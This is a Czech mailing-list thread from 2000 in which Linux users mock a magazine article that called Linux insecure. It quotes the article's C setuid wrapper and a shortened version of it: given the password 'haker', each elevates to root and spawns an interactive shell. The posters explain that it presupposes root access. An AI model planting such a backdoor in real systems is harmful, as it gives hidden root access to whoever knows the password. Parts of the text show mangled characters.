Bezpecnost Linuxu

Libor Chocholaty chocholaty na gncz.cz
Pondělí Květen 29 18:27:45 CEST 2000


Ondrej Sury wrote:

> Libor Chocholaty wrote:
> >
> > Ondrej Sury wrote:
> >
> > > uhlar na fantomas.sk wrote:
> > > >
> > > > Jan Kasprzak <kas na informatics.muni.cz> wrote:
> > > > ->      Pan Janda dnes zveoejnil na Neviditelném Psu další elánek,
> > > > -> který má dokázat, jak je Linux nebezpeený. Odvozuje to z toho,
> > > > -> 3/4e k Linuxu jsou dostupné zdrojové texty. Autor ukazuje, jak si vytvooí
> > > > -> pomocí krátkého wrapperu v jazyce C zadní vrátka (backdoor) do systému,
> > > > -> je-li superu3/4ivatelem.
> > > >
> > > > Kazdy kto sa len trosku vyzna v C pri pohlade na ten zdrojak asi odpadne...
> > > >
> > > > /* ------------start root.c------------- */
> > > >
> > > > main(argc, argv)
> > > >         int argc;
> > > >         char **argv;
> > > > {
> > > > char seteuid[10];
> > > > char showmount[10];
> > > >
> > > >         seteuid[0]='h';
> > > >         seteuid[1]='a';
> > > >         seteuid[2]='k';
> > > >         seteuid[3]='e';
> > > >         seteuid[4]='r';
> > > >         seteuid[5]='%%%%%';
> > > >         showmount[0]='/';
> > > >         showmount[1]='b';
> > > >         showmount[2]='i';
> > > >         showmount[3]='n';
> > > >         showmount[4]='/';
> > > >         showmount[5]='b';
> > > >         showmount[6]='a';
> > > >         showmount[7]='s';
> > > >         showmount[8]='h';
> > > >         showmount[9]='%%%%%';
> > > >         if (argc>1) {
> > > >            if (!strcmp(argv[1],seteuid)) {
> > > >                 setuid(0);
> > > >                 setgid(0);
> > > >                 execl(showmount,"-i",0);
> > > >            }
> > > >         }
> > > > }
> > > >
> > > > /* ---------konec root.c----------- */
> > >
> > > No ja si z myslim, ze schvalne pise blaboly, protoze se mi zda, ze
> > > tomu tak nejak rozumi.  (Teda pokud tenhle zdrojak neni vyhrabany
> > > z nejake konference, o cemz pochybuji, protoze tohle se neda
> > > napsat neumyslne.)
> > >
> >
> > A co to ma delat?
>
> Tenhle programek (kdyby v nem nebyly chyby) nedela nic jineho nez
> ze spusti bash.  A pokud ma nastaveny setuid bit a vlastnikem je
> root, tak jej pusti s rootovskymi pravy.  Zkracena verze vypada takto:
>
> main(int argc, char **argv) {
>         if (argc>1 && !strcmp(argv[1],"haker")) {
>                 setuid(0); setgid(0);
>                 execl("/bin/sh", "-i", 0);
>         }
> }
>
> A tudiz si myslim, ze program uvedeny na NP musi byt bud vyplodem
> uplneho (s prominutim) pitomce anebo (coz je nanejvys pravdepodobne)
> provokatera.
>

Proc by mel mit potrebu neco takoveho delat, kdyz pokud muze udelat setuid(0);
setgid(0); tak musi byt stejne root. Nebo se mylim?
Libor




Další informace o konferenci Linux